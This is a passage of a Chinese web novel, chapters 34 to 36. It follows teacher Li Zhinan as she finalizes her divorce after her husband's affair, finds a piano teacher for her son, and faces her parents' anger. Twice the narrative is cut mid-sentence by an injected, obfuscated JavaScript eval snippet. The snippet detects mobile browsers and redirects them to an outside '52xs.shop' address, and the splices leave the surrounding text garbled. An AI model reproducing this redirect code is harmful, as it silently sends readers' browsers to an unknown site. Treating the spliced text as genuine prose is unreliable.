李知难摇了摇头,道:“为了皮皮和我父母,我是想过不离婚,你说的对,我很早就知道你们的事情了,我也想过,既然是搭伙过日子,只要我们之间的原则性共识不变,那你在外面怎么样,其实也和我无关。但是为了我自己,我觉得应该离婚。” “你想离婚,是因为我伤害到你了吗?”宋乐眼中带着丝恳切。 “宋乐,你和我之间确实没有什么感情,当初我们就像是做生意一样,签了合同,现在你破坏了合同,买卖也就做不下去了,至于伤害不伤害的,没必要那么上纲上线。” “这就是你和我的不同。你对我没有什么感情,可是我有。”宋乐道,“如果不是因为喜欢你,你以为我真的是雷锋吗?无私奉献不求回报地在你身边这么多年?” 李知难道:“你希望我说什么?结婚之前我就和你说清楚了,你也是同意的。” “知难,如果是因为我伤害到了你的感情,所以你才必须要离婚,那这就说明这么多年夫妻,你对我还是有了感情的,我们之间也不仅仅是因为合适才凑合到一起过日子的,对吗?”宋乐反问,他低声道,“其实开始那几年,没有皮皮之前,我们也很好,不是吗?” 李知难想了想,问道:“你所谓的很好,指的是我们之间有性生活?” 宋乐皱眉道:“你能不能不要把这个词说得好像是你们高中宣教似的?它是一个很私密的事情。” “可是你忘了,为什么我们不再做这件事情了吗?”李知难反问。 宋乐急道:“我失误了一次,就一次!我难道一次都不能失误吗?” “你可以啊,我也没有因为那件事怎么样,可我们现在的情况,你也叫失误吗?”李知难问道。 宋乐咬死了自己的死理,“是你逼我的。” 李知难摇了摇头,回道:“最后的时候,如果再说这些,就不体面了。我不会把你从皮皮的生活中抹掉,你永远是皮皮的爸爸。只不过是我们之间的合同到期了。” 宋乐苦笑道:“对,你追求了一辈子的体面,你唯一不体面的,拿不出手的,就是普通的我。” “我从没有这么想过你,也许你自己这样想你自己,却把这个想法安到了我头上。宋乐,在我心里,你是一个好人。” 也许故事真的走到了终章,人才会后怕起来,宋乐意识到,这可能是最后一次以夫妻的身份和她相处了,之后天高地阔,两人之间将永无干系。他突然拉住了李知难的手,恳求道:“知难,我们不离婚了,我和她断干净,我发誓我以后一定不会做对不起你的事,我们重新开始吧,好不好?” 李知难带着失望的神色看向他,冷静道:“宋乐,哪怕是婚外情,也没有改变我认为你是个好人这件事,但是你现在在做什么?” 宋乐松开了手。 六年的婚姻,自己拽了六年不肯松手,果真当自己不执着了,这段婚姻便不可能进行下去了。他想着自己对小柳的那些浓情蜜意,有多少带着她不是她的遗憾,又有多少是因为她不肯给的迷恋。可从一开始,她就诚实地把一切都放到了台面上,自己是她选择的合适,而不是她心里的爱人。 他以为人和人之间相处久了,怎么也会有感情的。一年不行就十年,十年不行就一生,然而他高估了自己,也低估了李知难。她始终不可能爱上他,而他也没办法永远做那个不求回报的付出者。 34. 是个好兆头 新学期伊始,高二三班升为高三三班。人生的分水岭又再次迎来新的一波学生。没人知道,命运和自己哪一个掌握着未来,可路并不管人是否准备好,时间前进得毫不犹豫。 学期初的第一次例会像是老太太的裹脚布,李知难思索着等会议结束,和曲子格同步一下暑假发生的乱七八糟。没想到前脚踏出会议室的门,后脚就被孙书维叫到了办公室。 “我找你是来说一下评优的事。”孙书维道。 李知难有些意外:“这次真的是我啊?” “真的是你,就等之前公开课评定通知下来了。”孙书维答。她没提这后面自己的努力,毕竟平心而论,李知难早就值得这个荣誉,倒是被太多人情世故拖了后腿。 李知难犹豫道:“可我正在办离婚呢。” 孙书维正是因为这事才提前交代她:“先别说,老陈不问,你就别说。” 李知难带着不确定的心情回到了办公室,一进门就听到石老师道:“恭喜啊李老师,听说你爱人马上升处长了。” “哦,谢谢。”李知难看了看周围,显然这些人都比她这个马上要离婚的前妻更早知晓宋乐的仕途。 “年轻有为啊,快给我们具体说说,一起分享分享。”众人纷纷询问道。 李知难推脱有事,跑去了曲子格办公室。门虚掩着,曲子格正边看书边啃苹果,让画面李知难不由地退出了她的办公室又重新进了一回。 “你干嘛!”曲子格知道她故意的。 “我以为进错时空了。”李知难答,“你看书诶?曲子格在看书诶?” “我要考职称。”曲子格道,“发奋图强。” “为什么?”李知难不解道。 “为了吴思齐啊,他也要考,我陪他一起。” “他才工作一年,还早呢吧?” “但是我笨啊,笨鸟先飞,到时候正好和他同时间到达。”曲子格说着自己的展望。 “我觉得你格局小了,”李知难道,“就你这个为爱奉献的劲头,国家真应该把科研的领队换成吴彦祖,说不定你能有大成就。” “你就笑话我吧,等我结婚的时候找你要个巨大的红包。”曲子格答。 “看来这个暑假,和吴老师浓情蜜意很顺利?”李知难问道。 “那当然了,”曲子格得意,“公费恋爱,我人生的梦想,今年夏天太美好了,我觉得学校这个暑假值班政策,非常英明。” 李知难笑道,“行,你顺利就好。我有件事要告诉你。” “说吧。” “我要离婚了。” “你……确定吗?”曲子格本来一直希望能从李知难嘴里听到这句话,但是当下真的听到了,反倒有些不是滋味,她上前抱住李知难道:“知难,不管怎么样,你都有我,你知道的对吧?” “当然了,曲港湾。”李知难笑答。 “那你现在心情怎么样?难过吗?想发泄吗?我陪你去喝点?”曲子格开出了自己的安慰三连。 李知难心道这几件事好像都被自己提前解决了,便道:“我没事,就是告诉你一声。” 曲子格有些内疚:“是不是我老跟你说我和吴思齐的事,你之前才什么都不告诉我?我就算是谈恋爱,你出事了我也会把你的事放在第一位,你不用等自己解决完了再和我说,你可以随时找我。” “我知道的。” “你怎么下的决心?” “呃……也不能算是我,他的女朋友来找我了,他就跟我提离婚了。”李知难想了想,总结道。 “我他妈……”曲子格在高中校园的神圣办公室里,毫无顾忌地骂遍了李知难能想到的所有脏话,“丫怎么敢?丫怎么有脸的!” 李知难道:“可能他们也是恋爱脑?” 曲子格:“你骂人可以,但是你不能骂这么脏啊!这种没有道德底线的人,不叫恋爱脑,男的是垃圾,女的是恋屌!” “我们也不认识人家,也不了解她,没必要说这么难听。”李知难不在意道。 “就冲她做出来这事,我骂她就不亏!” “你跟我是当老师的,比谁都知道不能靠一件事、一个方面就去评价一个人,她这事做得确实挺恶心,但是她这人也不是完全没有可取处的。” “怎么,你还发现她的优点了?” “她还挺单纯的,觉得爱情能战胜一切。” “你这是夸她还是骂她?” “不知道,评价她。”李知难道,“但是这事归根结底是宋乐搞出来的,你要想骂,骂宋乐吧。” 李知难这回才发现,刚才小瞧她了,曲子格会的脏话远超她的想象,且花样繁多,种类齐全。 “离得好!”她最后收尾道。 “行了,就是跟你同步一下,”李知难拍了拍她的肩膀,“我上课去了。” 曲子格再次上前抱住了她,“知难,别怕,我和你一起呢。” 李知难小声道:“谢谢你今天也选择了我。” 李知难下班回家后,皮皮的爷爷奶奶和皮皮端正地坐在客厅里,一旁是低头不语的宋乐。宋乐迟迟没有定下来领离婚证的时间,两个人虽然已经签好了协议书,做足了一切的准备工作,但仍有最后这一遭法律流程没走完。 李知难看这架势,心里打鼓是不是提前被他们知晓了。她和宋乐在这一点上倒是很有默契,他们都同意在领离婚证前不把事情告知父母。李知难平时经常听周围谁谁谁又打算离婚了,可都是打算的多,真离的少。现在到了她自己身上,才发现真正的分别是悄无声息的,因为下定了决心,没有回旋的余地,所以也失去了和别人商量讨论的意义。 宋乐先将她拉到了一旁,道:“我还没和他们说,今天他们是为了皮皮的事来的。” 李知难点了点头。 皮皮爷爷发话道:“皮皮不能按照自己的喜好来了,孩子都让你们惯得没样了,得给他报个班,学点能坐下来的东西。” 皮皮奶奶进行补充道:“我们给他报了衔接班,结果人家老师找我,说皮皮不光自己不学,还严重影响到了其他同学,不配合老师,不服从指令,人家衔接班的老师把咱报名费退了。” 李知难看了眼一旁低眉顺眼的皮皮,道:“可能皮皮还不适应。” 皮皮答:“我不想学那些,我不喜欢。” 皮皮爷爷眉毛要竖起来:“不喜欢?学习是让你喜欢的吗?学习是让你有出息的!” 皮皮奶奶急忙打断:“爷爷也是爱之深,责之切,我们都是搞教育的,这重要性不需要多说,咱们今天就是一家人想想办法,看看怎么能把皮皮的学习提上来。” 宋乐在旁无奈道:“才小学,是不是太早了?” 皮皮奶奶正色答:“这个家里都是教育口的,你不懂就不要乱发表意见,孩子的每个阶段都非常重要。” “反正让我去学那个,我就是不喜欢!”皮皮听着爸爸有些帮自己腔的意思,也鼓着小脸生气反驳道。 宋乐见儿子的语气不佳,纠正道:“皮皮,不可以这么跟爷爷奶奶说话。” 李知难看着眼下的情况,明白这件事处理不好,非得乱成一锅粥不可。 “那个足球,先停了吧。”爷爷终于说明了来意。 “不行!”皮皮从沙发上跳了起来,声音带着哭腔,“为什么不能踢足球!” “知难,你表个态!”爷爷看向了她。 李知难轻声对宋乐道:“你先带皮皮回屋,我和爸妈聊聊。” 皮皮虽然不情愿,但只能老实地跟着宋乐回了房间。 “爸,”她倒了杯水,道,“我理解您的苦心,但是皮皮得全方面发展,这也是您之前同意的。” “现在踢球踢得他在椅子上坐十分钟都坐不下来,没有自制力的孩子,注意力不集中的孩子,是不可能有出息的,你作为老师,这点你同不同意?” “我明白,但是也不能因噎废食,要我看,咱们循序渐进,您说呢?” “那你什么想法?” 李知难暑假的时候就考虑过这件事,她和几个熟悉的老师取过经,最好的解决办法就是先让孩子找到件有意思的事情,学会坐下来静下心,之后养成习惯再慢慢加入学习内容,她问了好几种课外班,最后选了之前前辈都推荐的路:“先学学钢琴,您看怎么样?” “钢琴?”皮皮爷爷不解,从一个玩物丧志换到另一个玩物丧志,有什么本质区别。 “这个好这个好!”皮皮奶奶先反应了过来,“孩子现在对学习抵触,那直接给他书本肯定是行不通的,钢琴好,磨练性格,还能陶冶情操,就算是皮皮成绩不好,以后钢琴也能是艺术加分项,可以走特招嘛!” 皮皮爷爷想了想,问道:“小刘在音乐学院呢?” 奶奶点头:“去年刚升上去,以后常走动就是。” “但是文化课还是不能落下的。”皮皮爷爷道。 李知难见他松了口,急忙补充:“我懂的,以后我会多盯着点,等皮皮过了这个阶段,咱们再一点点来,徐徐图之,您说呢?” 最后三个人对这件事的可行性进行了细致分析,皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14512191|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮爷爷负责提出问题,李知难负责提出方法,皮皮奶奶负责同意应和,半个小时后,总算是送走了这两尊教育泰斗。 宋乐端了杯水递给她,左右磨蹭半天才不好意思地说道:“今天,谢谢你啊。” “孩子是我的,谢什么。” “谢谢你帮我圆场,”宋乐道,“我现在单位上有点事,所以最近离婚不是很方便。” 李知难下意识想反驳,离婚还分方便不方便的吗?但是她想到了上午办公室的对话,他刚升了职,这当口出些个人作风问题自然是不好看的。可他眼下却又含含糊糊不肯如实相告,难不成还担心自己利用这件事再做什么文章?想到这里,她心里有些膈应,答道:“反正就差最后一步,对外不说也没人知道的,你尽快吧。” “我定好了时间告诉你。”宋乐臊眉搭眼地回答。 李知难开始咨询各类钢琴教学的音乐教室,她倒也没想让皮皮真成为钢琴大师,只是想找个教学方法开明些,自由些的机构,最好是离家近的,方便皮皮的接送。简单选了几家后,她找自己认识的最内行的人——奚西询问了下情况。 “这几个都不靠谱。”奚西摇头,“你看这个资质,看着唬人,其实就是水平很差的毕业生,过来误人子弟。还有这个,你看着照片里的钢琴,就很不专业,能教出什么好来?” 李知难道:“我这就是小孩找老师,又不是培养钢琴大师,用不用这么严格?” “反正你问我的话,我觉得都不怎么样。这种机构能教出来的只有钢琴机器,没有音乐灵魂,艺术是要用心去学的,要不然就是浪费时间。”奚西答。 李知难为难道:“按照你这个要求,我就找不着老师了。” “我有个好主意啊。”奚西提议道。 “什么?” “你干嘛不找北辰师哥呢?” “我找他干嘛?” “他的钢琴可是在国际上获过奖的,启蒙恩师一定要这种高水平的,孩子才能有发展。”奚西说着自己的见解。 李知难道:“你没明白,我不想让他有发展,他喜欢踢足球,我就是想让他在椅子上坐个半小时一小时,练练定力。” “那你更要选好老师了,不然很可能会给孩子造成反面影响。”奚西警告道。 李知难一个下午都拿着手机反复纠结,那日喝醉后的那个吻,成为了她跨不过去的坎儿。 直到晚上下班,她仍旧没拿好主意。 “教研会,走啊知难!”曲子格和奚西在办公室门口叫她,看她一脸魂不守舍,曲子格道:“没事吧?” 奚西道:“还在纠结呢?” 曲子格理解错了情况,道:“你还纠结?别纠结啊,都说离了,一定得离啊!你可不能打退堂鼓!” 奚西一脸茫然:“离什么?” 曲子格还当她是劝和派,道:“离婚啊离什么,小三都找上门了还不离婚!” 奚西的眼睛差点掉到下巴上。 曲子格也反应过来:“你刚才说的不是这个事?” 奚西:“知难问我给皮皮选钢琴老师的事……” 曲子格一拍脑门,差点给李知难跪下:“我有罪,你打死我吧。” 李知难也知道这事瞒不了多久,只道:“我早晚有一天会死在你这张嘴上。” 奚西在一旁问也不是,不问也不是,尴尬得手足无措。她也不知道自己怎么想的,莫名其妙地开口道:“我又和他上床了。” 曲子格一脸怔地转过来:“和谁啊?” “陈亦童。” “啥?”这回换她的眼睛差点掉到下巴上。 “我现在跟他,变成了单纯的□□关系……”奚西红着脸应道。 李知难看着这场面哭笑不得,一时间也不知道应该如何回应,只听曲子格道:“我靠,你们俩这么劲爆的消息,我要是不跟一个我都觉得自己不是朋友,但是我最近实在没什么瞒着你们的,要不然一会儿晚饭我请吧?” 三个人笑作一团,引得对面走过来的孙书维嫌弃道:“都是老师,能不能稳重一点。” 曲子格上前挽住她,问道:“孙老师最近有什么绯闻能和我们分享的吗?” 孙书维嫌弃道:“你喝多了吧你?” 李知难道:“下周我去领离婚证,你们要是没事,完事了跟我去喝点?” 曲子格应道:“那必须的!” 孙书维叮嘱道:“到时候记得把东西带全了。” 奚西没来由地说道:“听说下周香山的红叶就红透了,是个好兆头。” 35. 你什么都不用怕 李知难最终还是没有跨过那道坎儿,她采用了自己的PlanA,这几日联系了皮皮学校附近的音乐教室,打算今天去探探路。 好巧不巧,她才停好车,就在门口遇到了显然在等待着她的李北辰。 “李老师好。”他丝毫不意外地问候。 “你怎么在这儿?”李知难说完也觉得自己多余问,八成是奚西告诉他的。 “我陪你一起。”李北辰道,“奚西说怕你被人骗,让我过来盯着点儿。” 李知难嘁了一声,道:“看不起谁呢。” 李北辰替她拉开了门,头微微向右方一侧,示意她先行。 李知难心底忍不住想,你真是多亏生了一张好看的脸。 几家音乐教室下来,负责介绍的销售老师被李北辰的问题问得哑口无言。 “请问,这个钢琴调过音吗?我听着音准问题很大。” “您这里会有专门负责调音的老师吗?” “这个证书的含金量很高吗?您说这个比赛是在伯克利办的?那还挺奇怪的,我都没听说过。” “这位宣传片里的老师情绪很不错,只是可惜指法节奏有些问题,您说这位是就是级别最高的老师了?” 他问题问得温文尔雅,对面的老师一头黑线。 一旁的李知难也觉得这样下去没有什么意义,这一遭走下来,果然隔行如隔山,她本以为教育领域都是一通百通的事,可只是看老师的资质这一点,她就被人忽悠得七七八八。 然而她心里清楚,有些界线自己要是不遵守,再想保持之前的状态就是痴人说梦了,人不能不该做的全做,还指望事情按部就班地不脱离轨道。 她正犹豫着如何婉拒李北辰对她找机构的“帮助”,只见一个孩子被家长送了过来,孩子像是小机器人一样被拉进了旁边教室,家长在另一边常规玩起了手机。 里面的孩子死气沉沉的,坐在钢琴前反反复复练习指法,她在外面听着那重复的旋律,完全听不出这一遍又一遍的反复到底有什么区别,甚至老师的示范和孩子的模仿在她耳中听起来都一模一样。然而教室内的老师仍然不满意,冷着脸一遍又一遍地要孩子重复弹。 她不禁皱眉。 “学钢琴就是这样的。”李北辰在她身后道,“乐器如果想和人变成一体,那人就要把乐器变成自己身体的一部分,自己的延伸。” “可这样反复有什么意义?” “形成肌肉记忆,但是这位老师教得不好,这也不是他的问题,大部分老师都是这样的,因为我们学的时候,我们的老师也是这样教我们的。”李北辰答,“有些有天赋的,悟性高,配上懂得点拨的老师,就能成才,但是大部分人没有天赋,或者没有毅力,再或者,没有好老师。” “皮皮……应该会比讨厌学习还要讨厌这样。”李知难喃喃道。学习乐器这件事在其他家长嘴里说出来分明是件美好的享受的课外时光,但是真正见识到了之后,她发现所有能够为人生裱装的加分项,都不可能是纯粹的美好和享受。 “我小时候也讨厌,”李北辰道,“但是现在不会了,钢琴不再是我的任务了,是我的快乐。” 如果对方是李北辰的话,会不会不一样?她心里突然生出了这样的念头。 她看着玻璃内的小男孩,那张不快乐的脸很快变成了皮皮的脸,她本来是想找个解法,没想到变成了另一个问题,不由心中有些动摇,几次欲言又止后,才小心询问道:“李北辰,你……能不能帮我一个忙?” “可以。”他想也不想地回答。 他的真诚让李知难有些手足无措,故意抬杠道:“我要是让你杀人你也可以?” “杀谁?”李北辰浅笑着问,又一点也不像开玩笑的样子。 李知难叹了口气,最终还是开口道:“你……有时间教我儿子弹钢琴吗?教不好最好。” “那是教还是不教?”李北辰反问。 “教,但是别好好教。”李知难答,指了指玻璃房内的小男孩,“不用弹得这么好,也不用变成肌肉记忆,让他感受到你现在能感受到的快乐,就够了。” 李北辰嘴角上扬,笑得温柔,答:“明白了。” 李知难感激地看他,又谨慎道:“但是如果你工作还是很忙的话,也不用勉强,因为……” “不忙,我换工作了。”李北辰轻声回道,“前阵子文诗的合约到期了,她要成立新的厂牌,我和她一起,离开了可能音乐。” “啊?”李知难意外,心底莫名对那句“和她一起”生了些不舒服,只能喃喃答:“哦,那,恭喜你?” “谢谢。”李北辰答,“所以我现在时间很自由。我家有钢琴,要是你方便,带皮皮去我那里吧?提前告诉我时间就行。” “你不会不方便吗?” “不会,我随时都可以。”他答。 “还有课时费的事,你一定……”她神色正经,课话还没说完就被李北辰打断了。 “我收费比刚才的音乐教室贵一倍,可以吗?”他挑眉看她。 李知难松了一口气,回道:“太好了,名师出高徒嘛,应该的。” 李北辰看了看表,已是下午两点,两个人这半天的折腾也没顾得上吃饭,他邀请道:“李老师要不要请我吃个……晚饭呢?” 李知难也看了看表,这个时间约晚饭,那就代表这一天都要跟他一起度过了,她面露难色道:“我……晚上得回趟我爸妈那边,今天可能不行了。” “那能顺路送我去地铁站吗?”他问。 “……” 李北辰自顾自地走向了李知难的车副驾旁,和煦地看着她,等她开车门。李知难轻轻摁下了车钥匙,车灯“嗒嗒”闪了两下,李北辰拉开了车门,熟练地坐了进去。 “还是有点饿啊。”李北辰轻飘飘地感叹着。 李知难也知道让帮忙的人空着肚子回去不是道理,她看了看前面的方向,恰好看到高高立起的广告牌,问道:“麦当劳,吃吗?” “吃。”他痛快回应。 前方的麦当劳是家汽车餐厅,没有开设堂食,李知难从窗口处接过李北辰毫不客气点的大包小包,将车停在一旁的停车场内。 “慢点吃。”李知难看着他啃汉堡的样子,和平日里斯文稳重的形象颇为不同。 “我饿。”他回应。 李知难不由有些内疚,又帮他打开了酸甜酱递了过去。 “李老师不吃么?”他问。 “吃。”她顺势也拿出了一个汉堡,尴尬地咬了一口。 待他塞完了一整个巨无霸,才停下来看着她,话里有话道:“李老师,你好像没什么胃口。” 李知难愣了一下,答道:“呃,早饭吃得多。” 李北辰上下打量着她,像是等着她再多说些什么,可李知难没再回应,自顾自地咬了口汉堡。 “听说,你昨天离婚了。”他平静地说道。 李知难手中的汉堡突然进退两难。她愣了愣,将食物放下,无奈道:“你怎么什么都知道?” 她当然也猜出来这背后的告密小麻雀是何人。 “昨天喝了那么多,今天没有胃口也是正常的。”李北辰道,他撕开了糖包,倒进了红茶中,递过去给她,“喝点甜的。” 李知难机械地接了过来。 “你是要回家,告诉父母这件事吗?”他猜出了李知难的打算,“那就更应该吃点东西,才有精力应对。” 说罢,他将薯条递了过去,把那个只被她糊弄着咬了一口的汉堡拿了过来。“不喜欢吃的就别硬吃,吃点喜欢的。” 李知难瘪了瘪嘴,诚实道:“我已经很多年不吃薯条了。” “为什么?”他疑惑,“换口味了?” “吃了会胖。”她诚实答。 李北辰皱着眉看她,有些意外这话是从她嘴里说出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14512192|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李知难沉声道:“我……上岁数了,新陈代谢不如你们年轻人,吃东西就要讲究一点。” 李北辰向窗外望了望,突然解开了安全带,只道:“你等我一下。”然后小跑着离开了停车场。约莫十几分钟后,李北辰拿着一根香蕉走了回来。 “你哪弄的?”李知难诧异道。 “吃吧,你以前不是说,吃香蕉会让人心情好吗?”他跑得急,额头微微发汗,但眼神倒是一如平常的那般亮晶晶。 “我什么时候说过这话?”李知难问道。 “我第一次见你的时候。”他答。 那年,李知难去学校为纪修开家长会。 “真是黄鼠狼下耗子,一窝不如一窝。你说,他爷爷是院长,那个年代全中国才能有几个?听说好几个国家级别的物理项目老爷子都参与了。结果到了他爸爸那儿,院士都没混上,干了半辈子才是个副教授。不过好歹也是清华物理系的副教授,也算行了,这回到了儿子,好了,你看看这个科偏的,物理考了40分,还清华,我看连个区重点高中都考不上。” 里面的女老师将李北辰家里的情况数落得头头是道:“要不人家说富不过三代,我看这智商也是一代比一代低。” “物理世家,考40分,听得都让人觉得他们家祖坟得冒青烟。”物理老师无奈地摇了摇头。 李知难本来听得起劲儿,突然看到了门口另一边那个刚有些发育痕迹的小男孩。浓眉大眼,细皮嫩肉的,脸上写着委屈。 估计那帮老师嘴里的耗子,就是眼前这位了。 “他们说你呢?”李知难走过去,又忍不住多管了闲事。 男孩看着眼前漂亮的姐姐,羞愧地点了点头。 “你还真信啊?”李知难一脸“你怎么这么傻”的表情:“你爸是清华的教授?” “副教授。”李北辰更正道。 “她一个初中老师,还看不起清华的副教授了,你不觉得可笑吗?” 李北辰没考虑过这个角度。 “小孩儿,一次失败而已,不能说明什么。” 她揉了揉男孩的头发,走回办公室门口敲了敲门:“老师好,我是纪修姐姐,我们家纪部长让我拿份纪修的成绩单。” 里面的老师换了面孔,热情满满地招待着,说着各种夸奖纪修的话。李知难回过头看见了门口的那个小男孩,没忍住冲动:“刚才听见老师们聊天,说偏科呢?” “啊?”老师愣了一下:“对。” “我当年也是物理不好,偏科特别严重,我记得我物理才考17分。”李知难自说自话起来。“不过我们家也不是什么物理世家,我爷爷是农民,所以您看我考17分是不是算是耗子生黄鼠狼,一窝比一窝强了?” 老师愣了一下不知道怎么接话。 李知难也不管她,继续说道:“我确实也没考上清华,毕竟,清华哪是谁都能上的啊。” 老师把纪修的成绩单递过去,有些尴尬地接话道:“哦,是么,那你考哪儿了?” 李知难笑得开心极了:“我考上了北大。离得不远,就隔壁。所以老师,您还是别看不起偏科的学生了,清华去不了,去北大不就行了么?还有啊,您也别看不起副教授家的孩子,那怎么也比初中老师家的孩子说出去体面点啊,您说对不对?” 她离开前看着在门口呆愣愣的小男孩,顺手把自己口袋里剩下的香蕉递了根过去。 “吃吧,含钾,吃了心情好。”她抬手胡噜了下他的头发,当他是另一个纪修。 李知难拨开了他给的香蕉,咬了一口,甜甜的,软软的,确实要比方才的汉堡容易下咽得多。 “李老师,别怕。”李北辰低着头小声道。 李知难听懂了他的话,却不自在地含糊回:“我……我有什么可怕的……” 他嘴角扬起了一弯温柔的笑,坚定答道:“你没任何可怕的,所以你什么都不用怕。” 36. 父母和墓地 傍晚时分,李知难拎着几盒礼品回到了父母家。这是一间七十平左右的两居室,客厅里收拾得干净但却仍然不显整齐,显然是老旧物件太多,虽能被认真归纳,可仍旧参差不齐地摆放在各个角落。原本李知难的房间早两年已经被李爸爸占去,她将东西放在门口,喊了两声也只得到厨房里父母的回应,没见人出来,就自动换鞋洗手坐在了客厅的沙发上。 李妈妈将做好的菜端了出来,又念了一遍:“洗手没?” “洗了。”她答。 “你爸做个鱼,就齐活了。”她道,“你等十分钟吃饭。” “好。”李知难点了点头。 待半个小时后,李爸爸的鱼才算大功告成,桌子上摆了四道菜,鸡鸭鱼肉全齐了。 “皮皮怎么没来?”李爸爸先动了筷子,聊起家常,“知道你忙,但是我们也想孩子,没事还是多带孩子过来看看。” “他在奶奶家。”李知难答。 李妈妈急忙道:“在奶奶家好,爷爷奶奶教育局的,懂教育孩子。不跟我们似的,我跟你爸不懂这些,这方面帮不上你。” 李知难没回应,懒洋洋地扒了口饭。 李妈妈见状不悦地看了她一眼,又从盘子里夹了一大块鱼放到她碗里:“你瞧瞧你吃饭,跟小猫似的,就那么一小口一小口,我看着都着急,多吃点,瘦成什么样了都。” 李知难解释道:“我午饭吃得晚。” 李爸爸在旁似若无心一般批评道:“都知道晚上回家吃,中午还吃那么多干什么?你早说我跟你妈也不用忙这么大半天了。” 李妈妈念叨道:“诶哟,都是月子的时候没养好,跟你说生孩子没有不胖的,没有身材不走形的,你非不听,现在好了,落下毛病了,每天吃这么一口口,哪有力气干活?我看着你都累。” 李知难没回答,硬着头皮将碗里的鱼扒到嘴里。鱼肉又老又腥,许是为了掩盖这股味道,调味里的盐加得实在,这种欲盖弥彰的做法让这条瞪着眼睛躺在盘子里的鱼看起来更加死不瞑目了。 她看着妈妈那边又要夹鱼过来,推拒着放下了碗,伸头一刀缩头也是一刀,总归没必要再折磨自己的胃了,便开门见山道:“我今天来是要跟您俩说一下,我跟宋乐离婚了。” 原本还在吃饭的李爸李妈顿时没了笑模样。两个互相看了一眼,谁也没说话。李知难再次端起了碗,开始挑着没沾过鱼汤的白米饭粒,一粒一粒地往嘴里塞。 李爸爸见她连解释的意思都没有,气急得拍桌子瞪眼质问道:“你什么意思!” “字面意思,离婚还能有什么意思?”李知难假装若无其事回道。 李妈妈在一旁急忙劝和起来:“知难啊,有事说事,别冲动啊。” “我没有冲动。”她答。 “那总要有原因的吧?是不是他欺负你了?你告诉妈妈,我去和他说,让他给你赔礼道歉!” 李知难小声道:“他出轨了,想和别人一起过。” 李妈妈显然有些气愤,但骂女婿的话还没说出口,又意识到目前这不是最紧要的事。“知难啊,天底下的男人没有不犯错误的,你是做老师的你知道,有了错误也不能一棍子打死,还是要以大局为重啊。” 李知难反问道:“那您觉得我应该怎么以大局为重?” “离婚是肯定不行的,你让他认错,让他把钱把房子车子都过到你名下,以后的工资卡也不许他自己留着,”李妈妈盘算着周围的经验,听来的故事,认真开解道,“先把钱拿过来,以后看他还能怎么闹?” “我要这些干什么?” “你说干什么!”李妈妈以为她看不明白,“那人家为什么跟他?还不是看中了他这些?你结婚的时候我就告诉你,钱要攥在你手里,你非不听,你看现在,他事业慢慢上去了,那就免不了被别的女人惦记的,这都是正常的啊,但是你是他老婆,你必须要捍卫你自己的身份。” 李知难拧着眉头,道:“他宋乐又不是皇上,我有什么身份?” “知难,我知道你现在在气头上,但是妈说话你要听,离婚没用的,再换个男人也一样,没有不出事情的,你现在这个条件,离了婚带着孩子也根本找不到宋乐这种条件的,”李妈妈只当她脑子昏掉了,分不清大小猫儿,便替她分析起利弊,道:“所以就把眼前的规整好,宋乐犯错了,教育教育,管制管制,那还是个好老公。再怎么说,他也是皮皮亲爸爸,你就忍心让皮皮没爸爸了?” “首先,我离婚也不是为了再换一个,我为什么一定要有个男的呢?其次,离婚而已,又不是他死了,离了婚他也是皮皮爸爸。”李知难答。 李妈妈苦口婆心道:“难难啊,事情可不是这样的,你一个女人,带着一个孩子,你知不知道传出去多难听?别人不会说宋乐不是,只会说你是被抛弃的,说你的不好诶!再说了,没有个男人,家里谁撑着?这些重活谁干?你别给我整那套男女平等的理论,道理我是懂的,真到需要有人修水管抗大件的时候,男女平等能给你做这些活?” 李知难知道现在不是说理的时候,只道:“我和您在这些事情上的观念不同,您那代人的想法现在已经过时了,离婚这事我们已经定了,就是来告诉您一声。” 一直在旁不吭声的李爸爸终于发了火,吼道:“李知难!你当你自己是什么条件!就是你年轻的时候也不过是被人甩掉的不要的!当初不听爸妈话,非要跟人家外交官,好啊,去啊,人家要你吗?被人甩得没头没脸的,要不是宋乐,你以为你能过上现在的日子?你别把自己当成个人物了!从小你李知难就谁也看不起,连你亲爹亲妈你也看不起!但是我告诉你,你现在离开了宋乐,你什么都不是你!” 李知难听着父亲发泄的话,将陈年的旧事扔到她脸上寒碜她,失望道:“对,我什么都不是。我顺着您的时候,我才是您女儿,我但凡想按照自己的想法走,我就什么都不是了。” “我有害过你吗?我供你考学,支持你当老师,包括当年催你和宋乐结婚,催你们要孩子,哪样不是为了你好?哪样不是因为听了我的话,你才有今天?”李爸爸反驳道。 “那我自己的努力就不算了嘛?”李知难气道,“那么多父母都在供孩子上学,有几个能考上北大的?有几个能拿到重点高中职位的?我自己的努力就不算数吗?” “你自己?你不是看不上宋乐?你不是嫌弃人家没有风度,没有内涵,不像是你那个眼高于顶的外交官,他可是有风度有内涵,但是他不要你啊!”李爸爸故意说着让她难堪的话,“我告诉你,你不可能跟宋乐离婚,我老李家没有离婚的女儿!” “我猜到了,所以签完字才过来跟您说的。”李知难道,“钢印都盖上了,您同不同意不重要,政府同意了。” 李妈妈急道:“知难啊,你这样,你这样太不懂事了,你怎么这么自作主张,你这传出去让我们这老脸往哪搁?” 